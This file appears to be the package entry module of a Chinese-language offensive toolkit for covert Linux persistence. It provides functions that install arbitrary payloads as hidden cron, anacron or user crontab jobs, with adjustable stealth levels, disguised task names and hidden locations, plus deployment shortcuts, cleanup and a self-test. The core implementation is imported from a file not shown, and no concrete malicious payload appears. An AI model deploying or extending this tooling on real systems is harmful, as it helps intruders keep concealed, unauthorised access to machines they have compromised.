#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
隐蔽定时任务权限维持子模块
实现基于隐蔽定时任务的权限维持技术
"""

from .core import CronHidePersistenceModule
from ..base import PersistenceConfig, PersistenceResult, PersistenceStatus, PersistenceLevel

# 模块信息
__version__ = "1.0.0"
__author__ = "privilege-maDev Team"
__description__ = "隐蔽定时任务权限维持模块"

# 导出的类和函数
__all__ = [
    'CronHidePersistenceModule',
    'create_module',
    'get_module_info',
    'is_available',
    'quick_deploy',
    'list_instances',
    'cleanup_all',
    'test_module'
]


def create_module():
    """创建隐蔽定时任务权限维持模块实例"""
    return CronHidePersistenceModule()


def get_module_info():
    """获取模块信息"""
    return {
        'name': 'cron_hide',
        'version': __version__,
        'author': __author__,
        'description': __description__,
        'supported_platforms': ['linux'],
        'persistence_types': ['cron_task', 'anacron_task', 'system_cron', 'user_cron'],
        'stealth_levels': list(range(1, 11)),
        'requires_root': False,  # 可以使用用户级cron
        'requires_compilation': False,
        'dependencies': ['cron', 'crontab']
    }


def is_available():
    """检查模块是否可用"""
    try:
        import subprocess
        import os
        
        # 检查平台
        if os.name != 'posix':
            return False, "需要Linux平台"
        
        # 检查crontab命令
        try:
            subprocess.run(['crontab', '-l'], capture_output=True)
        except FileNotFoundError:
            return False, "crontab命令不可用"
        
        # 检查cron服务
        module = create_module()
        if not module._check_cron_service_active():
            return False, "cron服务未运行"
        
        # 检查权限
        if not module._check_sufficient_privileges():
            return False, "权限不足，无法创建定时任务"
        
        return True, "模块可用"
        
    except Exception as e:
        return False, f"检查失败: {str(e)}"


def quick_deploy(payload, stealth_level=7, strategy=None):
    """快速部署隐蔽定时任务权限维持
    
    Args:
        payload: 要执行的payload
        stealth_level: 隐蔽级别 (1-10)
        strategy: 部署策略 (可选: anacron_delayed, system_cron_d, user_crontab, direct_cron)
    
    Returns:
        PersistenceResult: 部署结果
    """
    try:
        module = create_module()
        
        config = PersistenceConfig(
            payload=payload,
            stealth_level=stealth_level
        )
        
        # 如果指定了策略，临时修改模块的策略选择
        if strategy:
            original_method = module._select_deployment_strategy
            module._select_deployment_strategy = lambda x: strategy
            
            try:
                result = module.deploy(config)
            finally:
                module._select_deployment_strategy = original_method
            
            return result
        else:
            return module.deploy(config)
        
    except Exception as e:
        return PersistenceResult(
            success=False,
            message=f"快速部署失败: {str(e)}",
            instance_id=None
        )


def list_instances():
    """列出所有隐蔽定时任务权限维持实例"""
    try:
        module = create_module()
        return module.list_instances()
    except Exception as e:
        return []


def cleanup_all():
    """清理所有隐蔽定时任务权限维持实例"""
    try:
        module = create_module()
        results = []
        
        for instance in module.list_instances():
            result = module.clean(instance['instance_id'])
            results.append({
                'instance_id': instance['instance_id'],
                'task_name': instance.get('task_name'),
                'cleanup_result': result
            })
        
        return results
        
    except Exception as e:
        return [{'error': f"清理失败: {str(e)}"}]


def test_module():
    """测试模块功能"""
    results = {
        'module_info': get_module_info(),
        'availability': is_available(),
        'tests': []
    }
    
    try:
        module = create_module()
        
        # 测试1: 模块初始化
        results['tests'].append({
            'name': 'module_initialization',
            'success': True,
            'message': '模块初始化成功'
        })
        
        # 测试2: 平台支持检查
        platform_supported = module.is_platform_supported()
        results['tests'].append({
            'name': 'platform_support',
            'success': platform_supported,
            'message': '平台支持检查' + ('通过' if platform_supported else '失败')
        })
        
        # 测试3: 配置验证
        test_config = PersistenceConfig(
            payload="echo 'test'",
            stealth_level=5
        )
        
        validation_result = module.validate_config(test_config)
        results['tests'].append({
            'name': 'config_validation',
            'success': validation_result.success,
            'message': validation_result.message
        })
        
        # 测试4: 权限检查
        has_privileges = module._check_sufficient_privileges()
        results['tests'].append({
            'name': 'privileges_check',
            'success': has_privileges,
            'message': '权限检查' + ('通过' if has_privileges else '失败')
        })
        
        # 测试5: cron服务检查
        cron_active = module._check_cron_service_active()
        results['tests'].append({
            'name': 'cron_service_check',
            'success': cron_active,
            'message': 'cron服务' + ('运行中' if cron_active else '未运行')
        })
        
        # 测试6: 部署策略选择
        for level in [3, 6, 8, 10]:
            strategy = module._select_deployment_strategy(level)
            results['tests'].append({
                'name': f'strategy_selection_level_{level}',
                'success': True,
                'message': f'隐蔽级别{level}选择策略: {strategy}'
            })
        
        # 测试7: 任务名称生成
        task_name = module._generate_task_name(8, 'system')
        results['tests'].append({
            'name': 'task_name_generation',
            'success': len(task_name) > 0,
            'message': f'生成任务名称: {task_name}'
        })
        
        # 测试8: 隐蔽位置选择
        stealth_location = module._select_stealth_location(7)
        results['tests'].append({
            'name': 'stealth_location_selection',
            'success': len(stealth_location) > 0,
            'message': f'选择隐蔽位置: {stealth_location}'
        })
        
    except Exception as e:
        results['tests'].append({
            'name': 'test_error',
            'success': False,
            'message': f'测试过程出错: {str(e)}'
        })
    
    return results


# 便捷函数
def deploy_daily_task(payload, stealth_level=7):
    """部署每日执行的隐蔽任务"""
    return quick_deploy(payload, stealth_level, 'system_cron_d')


def deploy_user_task(payload, stealth_level=6):
    """部署用户级隐蔽任务"""
    return quick_deploy(payload, stealth_level, 'user_crontab')


def deploy_anacron_task(payload, stealth_level=9):
    """部署anacron延迟任务"""
    return quick_deploy(payload, stealth_level, 'anacron_delayed')


def deploy_system_task(payload, stealth_level=5):
    """部署系统级任务"""
    return quick_deploy(payload, stealth_level, 'direct_cron')


# 高级功能
def deploy_multi_schedule_task(payload, schedules, stealth_level=8):
    """部署多个调度的任务"""
    results = []
    
    for i, schedule in enumerate(schedules):
        # 为每个调度创建独立的任务
        task_payload = f"# Schedule {i+1}\n{payload}"
        result = quick_deploy(task_payload, stealth_level)
        results.append(result)
    
    return results


def deploy_conditional_task(payload, condition, stealth_level=7):
    """部署条件执行的任务"""
    conditional_payload = f"""
if {condition}; then
    {payload}
fi
"""
    return quick_deploy(conditional_payload, stealth_level)


def get_cron_status():
    """获取cron状态信息"""
    try:
        module = create_module()
        
        status = {
            'cron_service_active': module._check_cron_service_active(),
            'sufficient_privileges': module._check_sufficient_privileges(),
            'existing_instances': len(list_instances()),
            'available_strategies': [
                'anacron_delayed', 'system_cron_d', 
                'user_crontab', 'direct_cron'
            ]
        }
        
        return status
        
    except Exception as e:
        return {'error': f"获取状态失败: {str(e)}"}


# 模块自检
if __name__ == "__main__":
    print("=== 隐蔽定时任务权限维持模块自检 ===")
    
    # 获取模块信息
    info = get_module_info()
    print(f"模块名称: {info['name']}")
    print(f"版本: {info['version']}")
    print(f"描述: {info['description']}")
    print(f"支持平台: {', '.join(info['supported_platforms'])}")
    print(f"支持的持久化类型: {', '.join(info['persistence_types'])}")
    
    # 检查可用性
    available, message = is_available()
    print(f"模块可用性: {'可用' if available else '不可用'}")
    print(f"检查结果: {message}")
    
    # 获取cron状态
    print("\n=== Cron状态信息 ===")
    cron_status = get_cron_status()
    for key, value in cron_status.items():
        print(f"{key}: {value}")
    
    # 运行测试
    print("\n=== 运行模块测试 ===")
    test_results = test_module()
    
    for test in test_results['tests']:
        status = "✓" if test['success'] else "✗"
        print(f"{status} {test['name']}: {test['message']}")
    
    # 列出现有实例
    print("\n=== 现有实例 ===")
    instances = list_instances()
    if instances:
        for instance in instances:
            print(f"- {instance['instance_id']}: {instance.get('task_name')} "
                  f"({instance.get('status')}) - {instance.get('strategy')}")
    else:
        print("无现有实例")
    
    print("\n=== 自检完成 ===")